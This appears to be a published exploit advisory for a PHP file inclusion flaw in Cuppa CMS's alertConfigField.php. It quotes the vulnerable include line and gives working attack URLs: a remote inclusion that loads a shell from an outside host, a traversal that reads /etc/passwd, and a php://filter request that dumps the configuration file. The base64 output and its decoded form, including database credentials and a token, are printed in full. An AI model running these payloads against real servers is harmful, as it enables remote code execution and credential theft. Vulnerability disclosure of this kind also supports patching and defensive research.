87 lines
4.5 KiB
Plaintext
87 lines
4.5 KiB
Plaintext
# Exploit Title : Cuppa CMS File Inclusion
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# Date : 4 June 2013
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# Exploit Author : CWH Underground
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# Site : www.2600.in.th
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# Vendor Homepage : http://www.cuppacms.com/
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# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
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# Version : Beta
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# Tested on : Window and Linux
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,--^----------,--------,-----,-------^--,
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| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
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`+---------------------------^----------|
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`\_,-------, _________________________|
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/ XXXXXX /`| /
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/ XXXXXX / `\ /
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/ XXXXXX /\______(
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/ XXXXXX /
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/ XXXXXX /
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(________(
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`------'
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####################################
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VULNERABILITY: PHP CODE INJECTION
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####################################
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/alerts/alertConfigField.php (LINE: 22)
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-----------------------------------------------------------------------------
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LINE 22:
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<?php include($_REQUEST["urlConfig"]); ?>
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-----------------------------------------------------------------------------
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#####################################################
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DESCRIPTION
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#####################################################
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An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
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http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
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#####################################################
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EXPLOIT
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#####################################################
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http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
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http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
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Moreover, We could access Configuration.php source code via PHPStream
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For Example:
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-----------------------------------------------------------------------------
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http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
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-----------------------------------------------------------------------------
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Base64 Encode Output:
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-----------------------------------------------------------------------------
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PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
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-----------------------------------------------------------------------------
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Base64 Decode Output:
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-----------------------------------------------------------------------------
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<?php
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class Configuration{
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public $host = "localhost";
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public $db = "cuppa";
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public $user = "root";
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public $password = "Db@dmin";
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public $table_prefix = "cu_";
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public $administrator_template = "default";
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public $list_limit = 25;
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public $token = "OBqIPqlFWf3X";
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public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
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public $upload_default_path = "media/uploadsFiles";
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public $maximum_file_size = "5242880";
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public $secure_login = 0;
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public $secure_login_value = "";
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public $secure_login_redirect = "";
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}
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?>
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-----------------------------------------------------------------------------
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Able to read sensitive information via File Inclusion (PHP Stream)
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################################################################################################################
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Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
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################################################################################################################ |